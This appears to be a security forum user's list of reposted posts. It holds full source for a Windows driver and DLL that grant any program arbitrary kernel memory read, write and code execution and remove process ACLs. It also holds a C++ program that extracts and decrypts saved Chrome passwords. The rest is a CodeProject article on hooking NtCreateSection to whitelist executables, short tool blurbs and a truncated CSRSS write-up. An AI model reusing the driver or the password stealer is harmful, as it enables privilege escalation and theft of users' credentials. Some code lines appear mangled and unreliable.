-
Posts
18790 -
Joined
-
Last visited
-
Days Won
738
Everything posted by Nytro
-
[h=2]Pinpoint- Tool to find malicious objects[/h]August 31st, 2014 Mourad Ben Lakhoua Many online website host malwares or link to a malicious file without their knowledge. Normally this may takes some time to find out the compromised files. Pinpoint is a tool that you can use to scan and identify the infected files. The tool will list all external javascripts, javascript redirects or any iFrame on the targeted website. Pinpoint have the following options: Disable Compression – sends the HTTP request without the encoding option Enable Entropy – performs the entropy check Ignore Safe Sites – ignores common sites that host frameworks, ads, and other legitimate content so it doesn’t get downloaded Ignore CSS – ignores external CSS files so that it doesn’t get downloaded This tool will be useful especially if you are using external plugins that may contain a risk to visitors. you can download pinpoint over this link: Tools | Kahu Security Sursa: Pinpoint- Tool to find malicious objects | SecTechno
-
binglide is a visual reverse engineering tool. It is designed to offer a quick overview of the different data types that are present in a file. The screenshot bellow shows a small portion of the php5 binary that has a weird signature pattern: This tool does not know about any particular file format, everything is done using the same analysis working on the data. This means it works even if headers are missing or corrupted or if the file format is unknown. Sursa: https://github.com/wapiflapi/binglide
-
[h=1]Driver for kernel memory access[/h]by zwclose7 This driver allows user mode applications to access kernel memory. It also allows user mode application to execute code in kernel mode. It has a DLL that allows user mode applications to access the driver. Features 1) Read and write kernel memory. 2) Execute code in kernel mode. 3) Allocate kernel memory. 4) Remove ACL from a process, allowing any user to access the process. Source code (driver) #include <ntifs.h> #include <ntddk.h> #define IOCTL_READWRITE_KERNEL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_GET_SYSTEM_ADDRESS CTL_CODE(FILE_DEVICE_UNKNOWN,0x801,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_EXECUTE_CODE CTL_CODE(FILE_DEVICE_UNKNOWN,0x802,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_ALLOC_KERNEL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN,0x803,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_FREE_KERNEL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN,0x804,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_ZERO_KERNEL_MEMORY CTL_CODE(FILE_DEVICE_UNKNOWN,0x805,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) #define IOCTL_REMOVE_PROCESS_ACL CTL_CODE(FILE_DEVICE_UNKNOWN,0x806,METHOD_OUT_DIRECT,FILE_ANY_ACCESS) typedef ULONG (NTAPI *PKERNEL_CODE)(PVOID); typedef enum _KERNEL_MEMORY_ACCESS { Read, Write }KERNEL_MEMORY_ACCESS,*PKERNEL_MEMORY_ACCESS; typedef struct _KMEM_ACCESS { KERNEL_MEMORY_ACCESS Operation; PVOID Address; PVOID Buffer; ULONG Length; }KMEM_ACCESS,*PKMEM_ACCESS; typedef struct _SYSTEM_ADDRESS_INFO { PWSTR Name; PVOID* Address; }SYSTEM_ADDRESS_INFO,*PSYSTEM_ADDRESS_INFO; typedef struct _KERNEL_CODE_EXECUTION { PKERNEL_CODE Address; PVOID Parameter; PULONG ReturnValue; }KERNEL_CODE_EXECUTION,*PKERNEL_CODE_EXECUTION; typedef struct _ALLOC_KERNEL_MEMORY { PVOID* Address; ULONG Length; }ALLOC_KERNEL_MEMORY,*PALLOC_KERNEL_MEMORY; UNICODE_STRING DeviceName,SymbolicLink; PDEVICE_OBJECT pDeviceObject; NTSTATUS ReadKernelMemory(PVOID Address,PVOID Buffer,ULONG Length) { if(!Length) { return STATUS_INVALID_PARAMETER; } __try { if(ExGetPreviousMode()!=KernelMode) { ProbeForWrite(Buffer,Length,1); } memcpy(Buffer,Address,Length); } __except(EXCEPTION_EXECUTE_HANDLER) { return GetExceptionCode(); } return STATUS_SUCCESS; } NTSTATUS WriteKernelMemory(PVOID Address,PVOID Buffer,ULONG Length) { if(!Length) { return STATUS_INVALID_PARAMETER; } __asm { cli mov eax,cr0 and eax,not 0x10000 mov cr0,eax } __try { if(ExGetPreviousMode()!=KernelMode) { ProbeForRead(Buffer,Length,1); } memcpy(Address,Buffer,Length); } __except(EXCEPTION_EXECUTE_HANDLER) { __asm { mov eax,cr0 or eax,0x10000 mov cr0,eax sti } return GetExceptionCode(); } __asm { mov eax,cr0 or eax,0x10000 mov cr0,eax sti } return STATUS_SUCCESS; } NTSTATUS DispatchCreateClose(PDEVICE_OBJECT DeviceObject,PIRP irp) { irp->IoStatus.Status=STATUS_SUCCESS; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS DispatchDeviceControl(PDEVICE_OBJECT DeviceObject,PIRP irp) { NTSTATUS status; PIO_STACK_LOCATION io; PKMEM_ACCESS kmem; PSYSTEM_ADDRESS_INFO AddressInfo; PKERNEL_CODE_EXECUTION CodeExec; PKERNEL_CODE Code; PALLOC_KERNEL_MEMORY alloc; UNICODE_STRING FunctionName; PEPROCESS Process; io=irp->Tail.Overlay.CurrentStackLocation; switch(io->Parameters.DeviceIoControl.IoControlCode) { case IOCTL_READWRITE_KERNEL_MEMORY: kmem=(PKMEM_ACCESS)irp->AssociatedIrp.SystemBuffer; switch(kmem->Operation) { case Read: status=ReadKernelMemory(kmem->Address,kmem->Buffer,kmem->Length); break; case Write: status=WriteKernelMemory(kmem->Address,kmem->Buffer,kmem->Length); break; default: status=STATUS_INVALID_PARAMETER; break; } break; case IOCTL_GET_SYSTEM_ADDRESS: AddressInfo=(PSYSTEM_ADDRESS_INFO)irp->AssociatedIrp.SystemBuffer; RtlInitUnicodeString(&FunctionName,AddressInfo->Name); *AddressInfo->Address=MmGetSystemRoutineAddress(&FunctionName); status=STATUS_SUCCESS; break; case IOCTL_EXECUTE_CODE: CodeExec=(PKERNEL_CODE_EXECUTION)irp->AssociatedIrp.SystemBuffer; __try { Code=CodeExec->Address; *CodeExec->ReturnValue=Code(CodeExec->Parameter); } __except(EXCEPTION_EXECUTE_HANDLER) { *CodeExec->ReturnValue=GetExceptionCode(); } status=STATUS_SUCCESS; break; case IOCTL_ALLOC_KERNEL_MEMORY: alloc=(PALLOC_KERNEL_MEMORY)irp->AssociatedIrp.SystemBuffer; *alloc->Address=ExAllocatePool(NonPagedPool,alloc->Length); status=STATUS_SUCCESS; break; case IOCTL_FREE_KERNEL_MEMORY: ExFreePool(*(PVOID*)irp->AssociatedIrp.SystemBuffer); status=STATUS_SUCCESS; break; case IOCTL_ZERO_KERNEL_MEMORY: __asm { cli mov eax,cr0 and eax,not 0x10000 mov cr0,eax } kmem=(PKMEM_ACCESS)irp->AssociatedIrp.SystemBuffer; memset(kmem->Address,0,kmem->Length); __asm { mov eax,cr0 or eax,0x10000 mov cr0,eax sti } status=STATUS_SUCCESS; break; case IOCTL_REMOVE_PROCESS_ACL: status=PsLookupProcessByProcessId((HANDLE)(*(PULONG)irp->AssociatedIrp.SystemBuffer),&Process); if(NT_SUCCESS(status)) { *(PVOID*)((PUCHAR)Process-sizeof(PVOID))=NULL; ObDereferenceObject(Process); } break; default: status=STATUS_INVALID_DEVICE_REQUEST; break; } irp->IoStatus.Status=status; irp->IoStatus.Information=0; IoCompleteRequest(irp,IO_NO_INCREMENT); return status; } void Unload(PDRIVER_OBJECT pDriverObject) { IoDeleteSymbolicLink(&SymbolicLink); IoDeleteDevice(pDriverObject->DeviceObject); } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath) { RtlInitUnicodeString(&DeviceName,L"\\Device\\KernelMemoryAccess"); RtlInitUnicodeString(&SymbolicLink,L"\\DosDevices\\KernelMemoryAccess"); IoCreateDevice(pDriverObject,0,&DeviceName,FILE_DEVICE_UNKNOWN,FILE_DEVICE_SECURE_OPEN,FALSE,&pDeviceObject); IoCreateSymbolicLink(&SymbolicLink,&DeviceName); pDriverObject->MajorFunction[iRP_MJ_CREATE]=DispatchCreateClose; pDriverObject->MajorFunction[iRP_MJ_CLOSE]=DispatchCreateClose; pDriverObject->MajorFunction[iRP_MJ_DEVICE_CONTROL]=DispatchDeviceControl; pDriverObject->DriverUnload=Unload; pDeviceObject->Flags|=DO_DIRECT_IO; pDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; return STATUS_SUCCESS; } Source code (DLL) #include <Windows.h> #include "KrnlFuncs.h" HANDLE DeviceHandle; BOOL WINAPI ReadKernelMemory(PVOID Address,PVOID Buffer,ULONG Length) { ULONG i; KMEM_ACCESS kmem; kmem.Operation=Read; kmem.Address=Address; kmem.Buffer=Buffer; kmem.Length=Length; return DeviceIoControl(DeviceHandle,IOCTL_READWRITE_KERNEL_MEMORY,&kmem,sizeof(KMEM_ACCESS),NULL,0,&i,NULL); } BOOL WINAPI WriteKernelMemory(PVOID Address,PVOID Buffer,ULONG Length) { ULONG i; KMEM_ACCESS kmem; kmem.Operation=Write; kmem.Address=Address; kmem.Buffer=Buffer; kmem.Length=Length; return DeviceIoControl(DeviceHandle,IOCTL_READWRITE_KERNEL_MEMORY,&kmem,sizeof(KMEM_ACCESS),NULL,0,&i,NULL); } PVOID WINAPI GetSystemAddressW(LPWSTR Name) { ULONG i; PVOID Address; SYSTEM_ADDRESS_INFO AddressInfo; AddressInfo.Name=Name; AddressInfo.Address=&Address; if(!DeviceIoControl(DeviceHandle,IOCTL_GET_SYSTEM_ADDRESS,&AddressInfo,sizeof(SYSTEM_ADDRESS_INFO),NULL,0,&i,NULL)) { return NULL; } return Address; } PVOID WINAPI GetSystemAddressA(LPSTR Name) { ULONG i,Length; PVOID p; LPWSTR uName; Length=strlen(Name)+1*sizeof(wchar_t); uName=(LPWSTR)VirtualAlloc(NULL,Length,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); for(i=0;i<Length;i++) { uName=Name; } p=GetSystemAddressW(uName); VirtualFree(uName,0,MEM_RELEASE); return p; } ULONG WINAPI ExecuteCode(PKERNEL_CODE Address,PVOID Parameter) { ULONG i; KERNEL_CODE_EXECUTION CodeExec; ULONG ReturnValue; CodeExec.Address=Address; CodeExec.Parameter=Parameter; CodeExec.ReturnValue=&ReturnValue; if(!DeviceIoControl(DeviceHandle,IOCTL_EXECUTE_CODE,&CodeExec,sizeof(KERNEL_CODE_EXECUTION),NULL,0,&i,NULL)) { return -1; } return ReturnValue; } PVOID WINAPI AllocKernelMemory(ULONG Length) { ULONG i; PVOID Address; ALLOC_KERNEL_MEMORY alloc; alloc.Address=&Address; alloc.Length=Length; if(!DeviceIoControl(DeviceHandle,IOCTL_ALLOC_KERNEL_MEMORY,&alloc,sizeof(ALLOC_KERNEL_MEMORY),NULL,0,&i,NULL)) { return NULL; } return Address; } void WINAPI FreeKernelMemory(PVOID Address) { ULONG i; DeviceIoControl(DeviceHandle,IOCTL_FREE_KERNEL_MEMORY,&Address,sizeof(PVOID),NULL,0,&i,NULL); } void WINAPI ZeroKernelMemory(PVOID Address,ULONG Length) { ULONG i; KMEM_ACCESS kmem; kmem.Operation=Write; kmem.Address=Address; kmem.Buffer=NULL; kmem.Length=Length; DeviceIoControl(DeviceHandle,IOCTL_ZERO_KERNEL_MEMORY,&kmem,sizeof(KMEM_ACCESS),NULL,0,&i,NULL); } BOOL WINAPI RemoveProcessAcl(ULONG ProcessId) { ULONG i; return DeviceIoControl(DeviceHandle,IOCTL_REMOVE_PROCESS_ACL,&ProcessId,sizeof(ULONG),NULL,0,&i,NULL); } BOOL WINAPI DllMain(HMODULE hModule,DWORD dwReason,LPVOID lpReserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: DeviceHandle=CreateFile(L"\\\\.\\KernelMemoryAccess",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL); if(DeviceHandle==INVALID_HANDLE_VALUE) { return FALSE; } break; case DLL_PROCESS_DETACH: CloseHandle(DeviceHandle); break; } return TRUE; } [h=4]Attached Files[/h] KernelMemoryAccess.zip 380.47KB 45 downloads Sursa: Driver for kernel memory access - Source Codes - rohitab.com - Forums
-
Author: Athenian (roman) Versiunea incarca dinamic SQLite si apeleaza dinamic functiile necesare. /*** Chrome password decrypter By Athenian ***/ #include <windows.h> #include <iostream> #include <ShlObj.h> using namespace std; #pragma comment(lib,"sqlite3") #pragma comment(lib,"crypt32") //Lets see where Google Chrome application is installed char * readRegistryValue(){ LPCSTR value = "Path"; HKEY hkey = NULL; char * sk = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe"; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,sk,0,KEY_READ,&hkey) != ERROR_SUCCESS) { return NULL; } char path[MAX_PATH] = {0}; DWORD dw = 260; RegQueryValueEx(hkey,value,0,0,(BYTE *)path,&dw); RegCloseKey(hkey); char *ret = new char[strlen(path)+1]; strcpy(ret,path); return ret; //delete[]ret; } char *Crack(BYTE *pass){ DATA_BLOB in; DATA_BLOB out; BYTE trick[1024]; memcpy(trick,pass,1024); int size = sizeof(trick) / sizeof(trick[0]); in.pbData = pass; in.cbData = size+1;//we can't use strlen on a byte pointer,becouse of the NBs,so we have to be tricky dicky:) char str[1024] = ""; if (CryptUnprotectData(&in,NULL,NULL,NULL,NULL,0,&out)){ for(int i = 0; i<out.cbData; i++) str = out.pbData; str[out.cbData]='\0'; return str; } else return NULL; //Error on decryption } //To get to Appdata\local bool getPath(char *ret,int id){ memset(ret,0,sizeof(ret)); if(SUCCEEDED(SHGetFolderPath(NULL,id | CSIDL_FLAG_CREATE,NULL,SHGFP_TYPE_CURRENT,ret))) return true; return false; } //SQLITE definitions #define SQLITE_OK 0 #define SQLITE_ROW 100 #define SQLITE_API typedef struct sqlite3 sqlite3; typedef struct sqlite3_stmt sqlite3_stmt; //SQLITE function pointers typedef int(SQLITE_API *fpSqliteOpen)(const char *, sqlite3 **); typedef int(SQLITE_API *fpSqlitePrepare_v2)(sqlite3 *, const char *, int, sqlite3_stmt **, const char **); typedef int(SQLITE_API *fpSqliteStep)(sqlite3_stmt *); typedef const unsigned char *(SQLITE_API *fpSqliteColumnText)(sqlite3_stmt*, int); typedef int(SQLITE_API *fpSqliteFinalize)(sqlite3_stmt *); typedef int(SQLITE_API *fpSqliteClose)(sqlite3 *); fpSqliteOpen sqlite3_open; fpSqlitePrepare_v2 sqlite3_prepare_v2; fpSqliteStep sqlite3_step; fpSqliteColumnText sqlite3_column_text; fpSqliteFinalize sqlite3_finalize; fpSqliteClose sqlite3_close; void main(){ //Load sqlite.dll HMODULE sqliteLib = LoadLibrary("sqlite3.dll"); if (sqliteLib){ //Lets find the functions in the dll sqlite3_open = (fpSqliteOpen)GetProcAddress(sqliteLib,"sqlite3_open"); sqlite3_prepare_v2 = (fpSqlitePrepare_v2)GetProcAddress(sqliteLib,"sqlite3_prepare_v2"); sqlite3_step = (fpSqliteStep)GetProcAddress(sqliteLib,"sqlite3_step"); sqlite3_column_text = (fpSqliteColumnText)GetProcAddress(sqliteLib,"sqlite3_column_text"); sqlite3_finalize = (fpSqliteFinalize)GetProcAddress(sqliteLib,"sqlite3_finalize"); sqlite3_close = (fpSqliteClose)GetProcAddress(sqliteLib,"sqlite3_close"); char *installPath = readRegistryValue(); if (installPath != NULL){ printf("Installed in: %s\n",installPath); //Now we have to call same sqlite functions to start decrypting this shit:) sqlite3_stmt *stmt; sqlite3 *db; char databasePath[260]; getPath(databasePath,0x1C); strcat(databasePath,"\\Google\\Chrome\\User Data\\Default\\Login Data"); char *query = "SELECT origin_url, username_value, password_value FROM logins"; //Open the database if (sqlite3_open(databasePath, &db) == SQLITE_OK) { if (sqlite3_prepare_v2(db, query, -1, &stmt, 0) == SQLITE_OK) { //Lets begin reading data while (sqlite3_step(stmt) == SQLITE_ROW) { //While we still have data in database char *url = (char *)sqlite3_column_text(stmt,0); char *username = (char *)sqlite3_column_text(stmt,1); BYTE *password = (BYTE *)sqlite3_column_text(stmt,2); //This is the only encrypted field printf("Url: %s\n",url); printf("Username: %s\n",username); char *decrypted = Crack(password); printf("Password: %s\n",decrypted); } } else printf("Error preparing database!\n"); sqlite3_finalize(stmt); sqlite3_close(db); } else printf("Error opening database!\n"); } else printf("Google Chrome is not installed!\n"); delete[]installPath; FreeLibrary(sqliteLib); } else printf("Necessary sqlite dll not found!\n"); cin.get(); } Sursa: Google Chrome password crack - Programming - rohitab.com - Forums
-
Hooking the native API and controlling process creation on a system-wide basis Anton Bassov, 18 Oct 2005 How to hook the native API and control process creation on a system-wide basis. Download source files - 10.8 Kb Download demo project - 12.1 Kb Introduction Recently I came across the description of a quite interesting security product, called Sanctuary. This product prevents execution of any program that does not appear on the list of software that is allowed to run on a particular machine. As a result, the PC user is protected against various add-on spyware, worms and trojans - even if some piece of malware finds its way to his/her computer, it has no chance of being executed, and, hence, has no chance of causing any damage to the machine. Certainly, I found this feature interesting, and, after a bit of thinking, came up with my own implementation of it. Therefore, this article describes how process creation can be programmatically monitored and controlled on a system-wide basis by means of hooking the native API. This article makes a "bold" assumption that the target process is being created by user-mode code (shell functions, CreateProcess(), manual process creation as a sequence of native API calls, etc). Although, theoretically, a process may be launched by kernel-mode code, such possibility is, for practical purposes, negligible, so we don't have to worry about it. Why??? Try to think logically - in order to launch a process from the kernel mode, one has to load a driver, which, in turn, implies execution of some user-mode code, in the first place. Therefore, in order to prevent execution of unauthorized programs, we can safely limit ourselves to controlling process creation by user-mode code on a system-wide basis. Defining our strategy First of all, let's decide what we have to do in order to monitor and control process creation on a system-wide basis. Process creation is a fairly complex thing, which involves quite a lot of work (if you don't believe me, you can disassemble CreateProcess(), so you will see it with your own eyes). In order to launch a process, the following steps have to be taken: Executable file has to be opened for FILE_EXECUTE access. Executable image has to be loaded into RAM. Process Executive Object (EPROCESS, KPROCESS and PEB structures) has to be set up. Address space for the newly created process has to be allocated. Thread Executive Object for the primary thread of the process (ETHREAD, KTHREAD and TEB structures) has to be set up. Stack for the primary thread has to be allocated. Execution context for the primary thread of the process has to be set up. Win32 subsystem has to be informed about the new process. In order for any of these steps to be successful, all previous steps have to be accomplished successfully (you cannot set up an Executive Process Object without a handle to the executable section; you cannot map an executable section without file handle, etc). Therefore, if we decide to abort any of these steps, all subsequent ones will fail as well, so that process creation will get aborted. It is understandable that all the above steps are taken by means of calling certain native API functions. Therefore, in order to monitor and control process creation, all we have to do is to hook those API functions that cannot be bypassed by the code that is about to launch a new process. Which native API functions should we hook? Although NtCreateProcess() seems to be the most obvious answer to the question, this answer is wrong - it is possible to create a process without calling this function. For example, CreateProcess() sets up process-related kernel-mode structures without calling NtCreateProcess(). Therefore, hooking NtCreateProcess() is of no help to us. In order to monitor process creation, we have to hook either NtCreateFile() and NtOpenFile(), or NtCreateSection() - there is absolutely no way to run any executable file without making these API calls. If we decide to monitor calls to NtCreateFile() and NtOpenFile(), we have to make a distinction between process creation and regular file IO operations. This task is not always easy. For example, what should we do if some executable file is being opened for FILE_ALL_ACCESS??? Is it just an IO operation or is it a part of a process creation??? It is hard to make any judgment at this point - we need to see what the calling thread is about to do next. Therefore, hooking NtCreateFile() and NtOpenFile() is not the best possible option. Hooking NtCreateSection() is a much more reasonable thing to do - if we intercept a call to NtCreateSection() with the request of mapping the executable file as an image (SEC_IMAGE attribute), combined with the request of page protection that allows execution, we can be sure that the process is about to be launched. At this point we are able to take a decision, and, in case if we don't want the process to be created, make NtCreateSection() return STATUS_ACCESS_DENIED. Therefore, in order to gain full control over process creation on the target machine, all we have to do is to hook NtCreateSection() on a system-wide basis. Like any other stub from ntdll.dll, NtCreateSection() loads EAX with the service index, makes EDX point to function parameters, and transfers execution to KiDispatchService() kernel-mode routine (this is done by the INT 0x2E instruction under Windows NT/2000 and SYSENTER instruction under Windows XP). After validating function parameters, KiDispatchService() transfers execution to the actual implementation of the service, the address of which is available from the Service Descriptor Table (pointer to this table is exported by ntoskrnl.exe as the KeServiceDescriptorTable variable, so it is available to kernel-mode drivers). The Service Descriptor Table is described by the following structure: struct SYS_SERVICE_TABLE { void **ServiceTable; unsigned long CounterTable; unsigned long ServiceLimit; void **ArgumentsTable; }; The ServiceTable field of this structure points to the array that holds addresses of all the functions that implement system services. Therefore, all we have to do in order to hook any native API function on a system-wide basis is to write the address of our proxy function to the i-th entry (i is the service index) of the array, pointed to by the ServiceTable field of KeServiceDescriptorTable. Looks like now we know everything we need to know in order to monitor and control process creation on a system-wide basis. Let's proceed to the actual work. Controlling process creation Our solution consists of a kernel-mode driver and a user-mode application. In order to start monitoring process creation, our application passes the service index, corresponding to NtCreateSection(), plus the address of the exchange buffer, to our driver. This is done by the following code: //open devicedevice=CreateFile("\\\\.\\PROTECTOR",GENERIC_READ|GENERIC_WRITE, 0,0,OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM,0); // get index of NtCreateSection, and pass it to the driver, along with the //address of output buffer DWORD * addr=(DWORD *) (1+(DWORD)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateSection")); ZeroMemory(outputbuff,256); controlbuff[0]=addr[0]; controlbuff[1]=(DWORD)&outputbuff[0]; DeviceIoControl(device,1000,controlbuff,256,controlbuff,256,&dw,0); The code is almost self-explanatory - the only thing that deserves a bit of attention is the way we get the service index. All stubs from ntdll.dll start with the line MOV EAX, ServiceIndex, which applies to any version and flavour of Windows NT. This is a 5-byte instruction, with MOV EAX opcode as the first byte and the service index as remaining 4 bytes. Therefore, in order to get the service index that corresponds to some particular native API function, all you have to do is to read 4 bytes from the address, located 1 byte away from the beginning of the stub. Now let's look at what our driver does when it receives IOCTL from our application: NTSTATUS DrvDispatch(IN PDEVICE_OBJECT device,IN PIRP Irp){ UCHAR*buff=0; ULONG a,base; PIO_STACK_LOCATION loc=IoGetCurrentIrpStackLocation(Irp); if(loc->Parameters.DeviceIoControl.IoControlCode==1000) { buff=(UCHAR*)Irp->AssociatedIrp.SystemBuffer; // hook service dispatch table memmove(&Index,buff,4); a=4*Index+(ULONG)KeServiceDescriptorTable->ServiceTable; base=(ULONG)MmMapIoSpace(MmGetPhysicalAddress((void*)a),4,0); a=(ULONG)&Proxy; _asm { mov eax,base mov ebx,dword ptr[eax] mov RealCallee,ebx mov ebx,a mov dword ptr[eax],ebx } MmUnmapIoSpace(base,4); memmove(&a,&buff[4],4); output=(char*)MmMapIoSpace(MmGetPhysicalAddress((void*)a),256,0); } Irp->IoStatus.Status=0; IoCompleteRequest(Irp,IO_NO_INCREMENT); return 0; } As you can see, there is nothing special here either - we just map the exchange buffer into the kernel address space by MmMapIoSpace(), plus write the address of our proxy function to the Service Table (certainly, we do it after having saved the address of the actual service implementation in the RealCallee global variable). In order to overwrite the appropriate entry of the Service Table, we map the target address with MmMapIoSpace(). Why do we do it? After all, we already have an access to the Service Table, don't we? The problem is that the Service Table may reside in read-only memory. Therefore, we have to check whether we have write access to the target page, and if we don't, we have to change page protection before overwriting the Service Table. Too much work, don't you think? Therefore, we just map our target address with MmMapIoSpace(), so we don't have to worry about page protection any more - from now on we can take write access to the target page for granted. Now let's look at our proxy function: //this function decides whether we should //allow NtCreateSection() call to be successfull ULONG __stdcall check(PULONG arg) { HANDLE hand=0;PFILE_OBJECT file=0; POBJECT_HANDLE_INFORMATION info;ULONG a;char*buff; ANSI_STRING str; LARGE_INTEGER li;li.QuadPart=-10000; //check the flags. If PAGE_EXECUTE access to the section is not requested, //it does not make sense to be bothered about it if((arg[4]&0xf0)==0)return 1; if((arg[5]&0x01000000)==0)return 1; //get the file name via the file handle hand=(HANDLE)arg[6]; ObReferenceObjectByHandle(hand,0,0,KernelMode,&file,&info); if(!file)return 1; RtlUnicodeStringToAnsiString(&str,&file->FileName,1); a=str.Length;buff=str.Buffer; while(1) { if(buff[a]=='.'){a++;break;} a--; } ObDereferenceObject(file); //if it is not executable, it does not make sense to be bothered about it //return 1 if(_stricmp(&buff[a],"exe")){RtlFreeAnsiString(&str);return 1;} //now we are going to ask user's opinion. //Write file name to the buffer, and wait until //the user indicates the response //(1 as a first DWORD means we can proceed) //synchronize access to the buffer KeWaitForSingleObject(&event,Executive,KernelMode,0,0); // set first 2 DWORD of a buffer to zero, // copy the string into the buffer, and loop // until the user sets first DWORD to 1. // The value of the second DWORD indicates user's //response strcpy(&output[8],buff); RtlFreeAnsiString(&str); a=1; memmove(&output[0],&a,4); while(1) { KeDelayExecutionThread(KernelMode,0,&li); memmove(&a,&output[0],4); if(!a)break; } memmove(&a,&output[4],4); KeSetEvent(&event,0,0); return a; } //just saves execution contect and calls check() _declspec(naked) Proxy() { _asm{ //save execution contect and calls check() //-the rest depends upon the value check() returns // if it is 1, proceed to the actual callee. //Otherwise,return STATUS_ACCESS_DENIED pushfd pushad mov ebx,esp add ebx,40 push ebx call check cmp eax,1 jne block //proceed to the actual callee popad popfd jmp RealCallee //return STATUS_ACCESS_DENIED block:popad mov ebx, dword ptr[esp+8] mov dword ptr[ebx],0 mov eax,0xC0000022L popfd ret 32 } } Proxy() saves registers and flags, pushes a pointer to the service parameters on the stack, and calls check(). The rest depends on the value check() returns. If check() returns TRUE (i.e. we want to proceed with the request), Proxy() restores registers and flags, and transfers control to the service implementation. Otherwise, Proxy() writes STATUS_ACCESS_DENIED to EAX, restores ESP and returns - from the caller's perspective it looks like NtCreateSection() call had failed with STATUS_ACCESS_DENIED error status. How does check() make its decision? Once it receives a pointer to the service parameters as an argument, it can examine these parameters. First of all, it checks flags and attributes - if a section is not requested to be mapped as an executable image, or if the requested page protection does not allow execution, we can be sure that NtCreateSection() call has nothing to do with process creation. In such a case check() returns TRUE straight away. Otherwise, it checks the extension of the underlying file - after all, the SEC_IMAGE attribute and the page protection that allows execution may be requested for mapping some DLL file. If the underlying file is not a .exe file, check() returns TRUE. Otherwise, it gives the user-mode code a chance to take its decision. Therefore, it just writes the file name and the path to the exchange buffer, and polls it until it gets the response. Before opening our driver, our application creates a thread that runs the following function: void thread(){ DWORD a,x; char msgbuff[512]; while(1) { memmove(&a,&outputbuff[0],4); //if nothing is there, Sleep() 10 ms and check again if(!a){Sleep(10);continue;} // looks like our permission is asked. If the file // in question is already in the white list, // give a positive response char*name=(char*)&outputbuff[8]; for(x=0;x<stringcount;x++) { if(!stricmp(name,strings[x])){a=1;goto skip;} } // ask user's permission to run the program strcpy(msgbuff, "Do you want to run "); strcat(msgbuff,&outputbuff[8]); // if user's reply is positive, add the program to the white list if(IDYES==MessageBox(0, msgbuff,"WARNING", MB_YESNO|MB_ICONQUESTION|0x00200000L)) {a=1; strings[stringcount]=_strdup(name);stringcount++;} else a=0; // write response to the buffer, and driver will get it skip:memmove(&outputbuff[4],&a,4); //tell the driver to go ahead a=0; memmove(&outputbuff[0],&a,4); } } This code is self-explanatory - our thread polls the exchange buffer every 10 ms. If it discovers that our driver has posted its request to the buffer, it checks the file name and path against the list of programs that are allowed to run on the machine. If the match is found, it gives an OK response straight away. Otherwise, it displays a message box, asking the user whether he allows the program in question to be executed. If the response is positive, we add the program in question to the list of software that is allowed to run on the machine. Finally, we write the user response to the buffer, i.e., pass it to our driver. Therefore, the user gets the full control of processes creation on his PC - as long as our program runs, there is absolutely no way to launch any process on the PC without asking user permission. As you can see, we make the kernel-mode code wait for the user response. Is it really a wise thing to do??? In order to answer this question, you have to ask yourself whether you are blocking any critical system resources -everything depends on the situation. In our case everything happens at IRQL PASSIVE_LEVEL, dealing with IRPs is not involved, and the thread that has to wait for the user response is not of critical importance. Therefore, in our case everything works fine. However, this sample is written for demonstration purposes only. In order to make any practical use of it, it makes sense to rewrite our application as an auto-start service. In such a case, I suggest we should make an exemption for the LocalSystem account, and, in case if NtCreateSection() is called in the context of a thread with LocalSystem account privileges, proceed to the actual service implementation without performing any checks -after all, LocalSystem account runs only those executables that are specified in the Registry. Therefore, such an exemption is not going to compromise our security. Conclusion In conclusion I must say that hooking the native API is definitely one the most powerful programming techniques that ever existed. This article gives you just one example of what can be achieved by hooking the native API - as you can see, we managed to prevent execution of unauthorized programs by hooking a single(!!!) native API function. You can extend this approach further, and gain full control over hardware devices, file IO operation, network traffic, etc. However, our current solution is not going to work for kernel-mode API callers - once kernel-mode code is allowed to call ntoskrnl.exe's exports directly, these calls don't need to go via the the system service dispatcher. Therefore, in my next article we are going to hook ntoskrnl.exe itself. This sample has been successfully tested on several machines that run Windows XP SP2. Although I haven't yet tested it under any other environment, I believe that it should work fine everywhere - after all, it does not use any structure that may be system-specific. In order to run the sample, all you have to do is to place protector.exe and protector.sys to the same directory, and run protector.exe. Until protector.exe's application window is closed, you will be prompted every time you attempt running any executable. I would highly appreciate if you send me an e-mail with your comments and suggestions. License This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below. A list of licenses authors might use can be found here Sursa: Hooking the native API and controlling process creation on a system-wide basis - CodeProject
-
Windows CSRSS Write Up: Inter-process Communication (part 1/3) In the second post of the Windows CSRSS Write Up series, I would like to explain how the practical communication between the Windows Subsystem and user’s process takes place under the hood. Due to the fact that some major improvements have been introduced in Windows Vista and later, the entire article is split into two parts – the first one giving an insight at what the communication channel really is, as well as how is it taken advantage of by both CSRSS and a user processes. The second one, on the other hand, is going to talk through the modifications and new features shipped with the Windows systems starting from Vista, as most of the basic ideas remain the same for decades. As you already know what to expect, proceed to the next section Local Procedure Calls Before starting to analyze the mystery API interface implemented by CSRSS (otherwise known as CsrApi), one must first get some basic knowledge regarding the internal mechanism, used to establish a stable inter-process connection and actually exchange information. The basics LPC is a packet-based, inter-process communication mechanism implemented in the NT kernel (supported since the very first Windows NT versions – most likely 3.51). The mechanism was originally designed so that it was possible to communicate between modules running in different processor privilege levels – i.e. process – process, process – driver and driver – driver connections are equally well supported. This is possible thanks to the fact that the required API functions are exposed to both 